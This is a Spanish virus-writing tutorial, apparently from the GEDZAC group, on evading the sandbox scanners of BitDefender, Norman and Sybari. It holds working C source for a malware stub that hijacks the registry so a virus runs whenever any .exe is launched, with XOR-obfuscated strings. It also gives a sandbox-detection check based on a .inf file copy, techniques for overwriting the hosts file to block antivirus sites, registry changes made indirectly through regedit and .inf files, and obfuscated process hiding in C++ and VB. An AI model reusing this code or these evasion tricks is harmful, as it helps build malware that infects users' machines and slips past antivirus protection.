#Forma improvisada de eludir la SandBox del scan de BitDefender,Norman y Sybari.
#Autor: MachineDramon
#Este articulo contiene un source
Como lo dice el titulo esta es una forma nada tecnica, pero funciona.Primeramente definiremos lo que es SandBox, para quienes el concepto sea nuevo.
La Heuristica más convencional consiste en "Leer" el ejecutable y detectar cadenas o el nombre de las apis que se usan.
La traduccion de SandBox sería "Caja de Arena".Lo que hace el av que usa una SandBox es ejecutarnos en una Maquina Virtual y analizar que "acciones" realiza el ejecutable, por ejemplo si modifica el archivo host, si baja con UrlDownloadToFile un archivo de internet y despues lo ejecuta, si empieza a buscar y matar procesos de avs, si modifica el mirc.ini, si intercepta la ejecucion de los .exe, si se copia a discos de Red, etc. el av salta.
Una forma es usando otros recursos, para no hacer las cosas que nos detecta directamente(leer SandBox1.txt) pero eso en algunos casos puede resultar bastante engorroso.
Pero como una SandBox podra emular un SO pero no es un SO, una forma de evitar que nos detecte es haciendo algo que podriamos hacer en un SO y que no se puede hacer en la SandBox.Tambien hay que señalar que los avs andan mejorando su SandBox, por lo que una tecnica puede servir hoy y no mañana, por ejemplo si uno bajaba un file de internet con UrlDownloadToFile y lo ejecutaba con WinExec o CreateProccess BitDefender saltaba, pero si uno lo hacia enviando una orden al interprete de comandos del ms-dos, no saltaba, hasta hace unos días eso funcionaba ahora la SandBox de BitDefender es capaz de analizar las ordenes enviadas al interprete de commandos.
La idea que se va a exponer es para evitar la deteccion de la SandBox que usa el Scanner de estos avs, no me refiero al monitoreo de acciones y del reg que hace la vacuna en tiempo real de avs como BitDefender o AVP v5, sino se inutiliza la vacuna, eludir la deteccion del scan no sirve de nada, pero este texto no trata de la vacuna.
Bueno la idea es crear un A.txt en el disco c:\, luego crear un copy.inf para que copie A.txt como B.txt en el mismo c:\, luego comprobar la existencia de C:\B.txt ,si no existe hacemos un ExitProcess(0), si existe seguimos con la ejecucion normal.
Copiar un file con un .inf es posible en un SO verdadero, pero aun no esta soportado pos las SandBox de estos avs.
Pasemos a la parte Practica:
------------------------------
Aqui tenemos un codigo que modifica una llave del reg para interceptar la
ejecucion de los .exe y es detectado por el scaner como:
BitDefender: BehavesLike:Trojan.ShellReg
Norman y Sybari: W32/Malware
//-------------------------------------------------------------------------
#include <windows.h>
//funcion de encriptacion
void e(char *sz) { for (unsigned int i=0; i<strlen(sz); i++) { sz[i]=sz[i] ^ 7; } }
//funcion para escribir datos REG_SZ en el reg
void rwsz(HKEY key, char *sk, char *k, char *v)
{
HKEY hKey;
RegCreateKey(key, sk, &hKey);
RegSetValueEx(hKey, k, 0, REG_SZ,(LPBYTE)v, lstrlen(v)+1);
RegCloseKey(hKey);
}
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
//cad1 = exefile\shell\open\command
char cad1[]="bbankb[tobkk[hwbi[dhjjfic"; e(cad1);
//cad2 = c:\virus.exe "%1" %*
char cad2[]="d=[qnurt)bb'%\"6%'\"-"; e(cad2);
rwsz(HKEY_CLASSES_ROOT,cad1,"",cad2);
}
//-------------------------------------------------------------------------
Ahora un codigo que hace lo mismo, pero haciendo la verificacion de si se
ejecuta en una SandBox
//-------------------------------------------------------------------------
#include <windows.h>
LPSTR argumentos;
//funcion para verificar la existencia de un archivo
bool FileExist(char *dir, char *file)
{
char b[MAX_PATH], *p;
DWORD r = SearchPath(dir,file,NULL,sizeof(b),b, &p);
if (r==0) { return 0; } else { return 1; }
}
//funcion de encriptacion
void e(char *sz) { for (unsigned int i=0; i<strlen(sz); i++) { sz[i]=sz[i] ^ 7; } }
//funcion para escribir datos REG_SZ en el reg
void rwsz(HKEY key, char *sk, char *k, char *v)
{
HKEY hKey;
RegCreateKey(key, sk, &hKey);
RegSetValueEx(hKey, k, 0, REG_SZ,(LPBYTE)v, lstrlen(v)+1);
RegCloseKey(hKey);
}
int MainAlias()
{
//cad1 = exefile\shell\open\command
char cad1[]="bbankb[tobkk[hwbi[dhjjfic"; e(cad1);
//cad2 = c:\virus.exe "%1" %*
char cad2[]="d=[qnurt)bb'%\"6%'\"-"; e(cad2);
rwsz(HKEY_CLASSES_ROOT,cad1,"",cad2);
}
int IniciaVerificacion(void)
{
DWORD dw; char mpath[MAX_PATH];
//obtenemos la ruta del virus
GetModuleFileName(NULL,mpath,sizeof(mpath));
//copiamos los 3 primeros caracteres de la ruta que vendrian a ser
//la unidad de disco y ":\", ejemplo: "c:\", y ponemos el caracter
//nulo al final, porque strncpy no nos lo pone automaticamente
char aq[20]; strncpy(aq,mpath,3); aq[3]='\0';
//vars
char v[] = "GEDZAC_LABS";
char gt[]="B.TXT";
char b[] = "A.TXT";
//si B.TXT ya existe salimos
if(FileExist("C:\\",gt)) { return 0; }
//concatenamos aq y b, obteniendo "C:\A.TXT"
strcat(aq,b);
//creamos C:\A.TXT y le escribimos cualquier cosa dentro
HANDLE vf = CreateFile(aq,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,0,0);
//si error, salimos
if (vf==INVALID_HANDLE_VALUE) return 0;
WriteFile(vf,v,strlen(v),&dw,0);
CloseHandle(vf);
//volvemos a poner el null en la 4° posicion de aq y concatenamos
//obteniendo C:\copy.inf
aq[3]='\0';
strcat(aq,"copy.inf");
//contenido de copy.inf
char c[]="[Version]\r\nSignature=\"$Chicago$\"\r\nProvider=GEDZAC\r\n\r\n[DefaultInstall]\r\nCopyFiles=Gedzac.Copy.1\r\n\r\n[DestinationDirs]\r\nGedzac.Copy.1=30\r\n\r\n[SourceDisksNames]\r\n1 = \"Disco Raiz\",,,\\\r\n\r\n[SourceDisksFiles]\r\nA.TXT=1\r\n\r\n[Gedzac.Copy.1]\r\nB.TXT, A.TXT\r\n";
//creamos copy.inf y escribimos el contenido
HANDLE va = CreateFile(aq,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,0,0);
//si error salimos
if (va==INVALID_HANDLE_VALUE) return 0;
WriteFile(va,c,lstrlen(c),&dw,0);
CloseHandle(va);
//ejecutamos la accion "install" asociada a los .inf para ejecutarlo
ShellExecute(NULL,"install",aq, NULL, NULL, SW_HIDE);
//esperamos 1seg.
Sleep(1000);
}
int TerminaVerificacion(void)
{
char gt[]="B.TXT"; int c=0;
//iniciamos un bucle
while(1)
{
//si aun no existe el archivo, esperamos 1seg y aumentamos
//c, si ya existe ejecutamos MainAlias()
if(FileExist("C:\\",gt)) { MainAlias(); break; }
Sleep(1000); c++;
//si pasados 30seg aun no existe, estamos en una sandbox y salimos
if (c > 30) break;
}
}
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
IniciaVerificacion();
//copiamos los argumentos con los que se aya ejecutado el programa en la
//var global argumentos para asi poder usarlos en MainAlias si se necesita
//esto es opcional, solo si se usa el argumento lpszArgument de WinMain
argumentos = lpszArgument;
TerminaVerificacion();
return 0;
}
//-------------------------------------------------------------------------
Ahora voy a decir algunas cosas que me parecieron interesantes
sobre las sandbox, tampoco es el mejor metodo para eludirlas, porque
el virus deberia reconocer si se ejecuta en una sandbox o no, estas solo
son ideas que tal vez nos puedan ayudar en algunos casos.
Hace unos días estaba teniendo problemas con las sandbox de Norman y Bitdefender.
Primero:
--------
Cuando trataba de modificar el archivo host(el del dns) para dirigir
algunas direcciones de avs a la direcion del localhost(127.0.0.1)
bastaba que el programa tocara el host para que bitdefender saltara con
que SiteHijack osea secuestro del navegador.
Primero se me ocurrio copiar el host, modificarlo y hacer que win reemplaze
el original por el modificado en el siguiente reinicio, esto lo hacemos con
el wininit.ini en los 9x/Me y MoveFileEx en los 2000/XP
El wininit.ini es un archivo ubicado en el directorio de windows en los 9x/Me que indica al SO mover/renombrar o eliminar un archivo en el siguiente reinicio, la sintaxis del wininit.ini es:
[Rename]
destino=fileOrigen
Donde indica que fileOrigen sera movido a destino en el prox reinicio, destino y fileOrigen deben ser rutas en formato ms-dos, osea maximo 8 caracteres por nombres de carpeta y archivo y 3 caracteres por extencion, para obtener la ruta en formato ms-dos o formato corto se puede usar GetShortPathName (si a GetShortPathName se le pasa una ruta de un file o folder que no existe devuelve basura, nose porque)
si se quiere eliminar archivos:
Nul=fileOrigen
La sintaxis de MoveFileEx en este caso:
MoveFileEx(fileOrigen,destino,MOVEFILE_DELAY_UNTIL_REBOOT)
Como 3° argumento usamos MOVEFILE_DELAY_UNTIL_REBOOT para indicar que se
mueva en el sig reinicio, hay otras opciones, pero la que nos interesa para
esto es esa.
Si se quiere borrar un file: MoveFileEx(fileOrigen,0,MOVEFILE_DELAY_UNTIL_REBOOT)
Lo que hace la funcion es crear un valor Multi_SZ, donde indica a win lo que debe
mover al prox reinicio:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
(interesante para matar esos servicios de avs que no se dejan tocar en el xp)
Como segunda opcion para hacer esto, pos una cosa que he notado en la sandbox de norman y bitdefender, no se si sera asi en otras, al ejecutarse el programa en la sandbox, el av analiza las acciones del programa, debe ser algo como debugearlo, ahora si:
Virus -> Mala Accion (Virus Encontrado)
pero si:
Virus -> otro programa -> Mala Accion (No Virus Encontrado)
---------------------------------------------------------------------------
Actualizacion: la sandbox de BitDefender ya analiza y detecta
las ordenes que enviamos al command.com o cmd.exe
por lo que el metodo que se detalla abajo, ya no serviria con ese av.
---------------------------------------------------------------------------
Osea digamos si virus hace una copia de host, la modifica y luego la quiere
copiar encima con CopyFile(copia, host, 0) el av salta, porque estamos
sobreescribiendo el host (igual si lo abrimos y lo modificamos), pos
entonces tenemos que hacer que otro programa lo copie, para eso usamos
el interprete de comandos del ms-dos (command.com o cmd.exe), al que le
dariamos la orden "copy copia host /Y", en c++ se puede usar funcion system
del stdlib.h -> system("copy copia host /Y") , en vb:
Call Shell(Environ$("Comspec") & " /c copy copia host /Y", vbHide)
o se puede usar GetEnvironmentVariable para averiguar el valor de
%comspec% y luego con WinExec ejecutar "%valor de comspec" + " /c copy copia host /Y"
en vbs o js podemos usar .ExpandEnvironmentStrings del objeto
WScript.Shell para averiguar el valor de %comspec% y ejecutar
con el metodo .Run del mismo objeto "%valor de comspec" + " /c copy copia host /Y"
Segundo:
-----------
Cuando escribia en el registro la llave para interceptar los .exes
HKEY_CLASSES_ROOT\exefile\shell\open\command
Norman saltaba con que "SandBox detected New Malware"
Entonces siguiendo la tactica de: Virus ->otro programa ->Mala Accion
en ves de usar RegSetValueEx para setear el valor, vamos a usar el regedit.
creamos un archivo .reg, con lo que queremos añadir al registro
por ejemplo:
REGEDIT4
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="c:\\ruta\\virus.exe \"%1\" %*"
y lo ejecutamos con WinExec("regedit /s c:\ruta\file.reg",0)
Con los archivos .reg se pueden crear, borrar llaves, cambiar valores.
Otra opcion seria usar un .inf ,con un .inf se pueden añadir, borrar valores en el registro, copiar, borrar, renombrar archivos, editar archivos .ini registrar .dll ,crear servicios. (en este .zip hay algunos inf de ejemplo)
Eso sucede cuando sobre un .inf hacemos click botton derecho y seleccionamos la opcion "Instalar" del menú contextual. Ahora si vamos al registro a ver que ejecuta win en la accion Instalar (llamada Install en el registro)
HKEY_CLASSES_ROOT\inffile\shell\install\command
vemos segun el sistema operativo:
Win9x/WinME
C:\WINDOWS\rundll.exe setupx.dll,InstallHinfSection DefaultInstall 132 %1
Win2000/XP
%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %1
Entonces lo que habria que ejecutar segun el SO seria:
para los 9x/Me
C:\WINDOWS\rundll.exe setupx.dll,InstallHinfSection DefaultInstall 132 c:\ruta\file.inf
para los 2000/xp
C:\WINDOWS\System32\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 c:\ruta\file.inf
Entonces se podria averiguar el dir de windows, luego ver que
version de win es en la que nos ejecutamos, y luego ejecutar con WinExec,
pero pa no complicarnos la vida usamos ShellExecute indicando que ejecute
la opcion "install" del archivo .inf
VB:
Call ShellExecute(Form1.hWnd, "install", "C:\ruta\file.inf", vbNullString, vbNullString, 0)
C++:
ShellExecute(NULL,"install","C:\ruta\file.inf", NULL, NULL, SW_HIDE);
El archivo .inf seria algo como:
[Version]
Signature="$Chicago$"
Provider=GEDZAC
[DefaultInstall]
AddReg=GedReg
[GedReg]
HKCR, exefile\shell\open\command,,0x00000000,"c:\ruta\virus.exe ""%1"" %*"
Mas Info: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/install/hh/install/inf-format_0a6b2b92-442b-4295-ab95-5011ab9d8dbb.xml.asp
Tercero:
---------
Luego otra cosa que el nod32 andaba molestando con su heuristica, era esa
api pa ocultar el proceso en los 9x/Me , RegisterServiceProcess
Esta funcion nos pide como 1° argumento un PID (identificador de proceso)
y como 2°argumento podemos elegir:
Const RSP_SIMPLE_SERVICE = 1 (oculta el proceso)
Const RSP_UNREGISTER_SERVICE = 0 (lo hace visible)
Si la usamos en C++ usando una funcion de encriptacion y getprocaddress ya no la detecta (este metodo ser mucho conocido)
//declaramos un puntero del tipo api, es el puntero que recibira la
//direccion de la funcion, observese que se indica que se usara como
//argumentos 2 valores DWORD (enteros largos)
typedef DWORD (WINAPI *HDP) (DWORD, DWORD);
//esta ser la funcion de encriptacion ,usa una operacion Xor
void e(char *sz) { for (unsigned int i=0; i<strlen(sz); i++) { sz[i]=sz[i] ^ 7; } }
int HideProcess()
{
//en este char dice "RegisterServiceProcess" ,pasamos f a la funcion e()
//y nos devuelve f desencriptado
char f[]="Ub`ntsbuTbuqndbWuhdbtt"; e(f);
//cargamos la .dll donde se encuentra la funcion
HMODULE dh = LoadLibrary("KERNEL32.DLL");
//si nos devuelve 0 salimos, si tiene exito debe devolver un numero en dh
if (!dh) return 0;
//luego declaramos Rgp como el tipo de puntero definido antes HDP
//y llamamos a GetProcAddress pasando el handle a la .dll cargada
//y el nombre de la funcion de la que se quiere obtener la direccion
//a GetProcAddress le anteponemos (HDP) para que el valor que devuelve
//se convierta al tipo del puntero HDP
HDP Rgp = (HDP)GetProcAddress(dh,f);
//si el puntero Rgp no es nulo, lo usamos para llamar a la funcion
//como si el puntero fuera el nombre de la funcion, GetCurrentProcessId
//nos da nuestro PID
if (Rgp) { Rgp(GetCurrentProcessId(),1); }
//como ya no nesecitamos la .dll la descargamos
FreeLibrary(dh);
return 1;
}
Si la usamos en VB:
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
'de esta forma funciona pero nod32 detecta por heuristica
Sub HideProcess()
On Error Resume Next
Call RegisterServiceProcess(GetCurrentProcessId(), 1)
End Sub
'Podemos hacer el sub así y llamarla con CallByName:
Call CallByName(Me, "Hideprocess3", VbMethod, GetCurrentProcessId(), 1)
'1° arg. el objeto que contiene la funcion, en este caso form1 o Me
'2° arg. el nombre de la funcion
'3° arg. indica que se ejecutara un "Metodo" del objeto, osea
;un sub o funcion, más info sobre los posibles valores de este argumento
;http://msdn.microsoft.com/library/spa/default.asp?url=/library/SPA/vblr7/html/vacstcalltype.asp
'4°-n° arg. lista de argumentos que se pasan a la funcion o sub.
'asi no detecta
Sub HideProcess3(pid As Long, fl As Long)
On Error Resume Next
Call RegisterServiceProcess(pid, fl)
End Sub
'O viendo que el Nod32 reacciona cuando se llaman juntas a las funciones
'RegisterServiceProcess y GetCurrentProcessId, podemos obtener el PID de
'otra forma
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
'Usamos GetWindowThreadProcessId para obtener el PID, esa api regresa
'un valor long con el identificador de hilo de la ventana cuyo hwnd se le
'pase como 1°argumento (en este caso el form1.hwnd), pero ahora lo que nos
'interesa es el 2° argumento, si le pasamos un valor long en ese campo
'regresa el PID de proceso de la ventana. Ya que tenemos nuestro PID
'llamamos normal a RegisterServiceProcess
Sub HideProcess2()
On Error Resume Next
Dim pid As Long
Call GetWindowThreadProcessId(Form1.hWnd, pid)
Call RegisterServiceProcess(pid, 1)
End Sub
O asi: pasando 0 en lugar de nuestro PID, cero le dice a la funcion que es
el PID del proceso que la esta llamando.
Sub HideProcess4()
On Error Resume Next
Call RegisterServiceProcess(0, 1)
End Sub
'Tambien se podria usar las funciones ToolHelp32 para obtener nuestro PID
'pero como que no se me hace muy practico
Recordar que la api RegisterServiceProcess solo funka en 9x/Me ,para decidir
cuando usarla y cuando no, evaluar la version de windows con GetVersionExA
y la estructura OSVERSIONINFO, el miembro .dwPlatformId de la estructura
sera 1 si es win9x/Me y 2 si es win2000/XP
Ojala les sirva de algo este texto, Un Saludo
(C) Mitosis 4 - GEDZAC LABS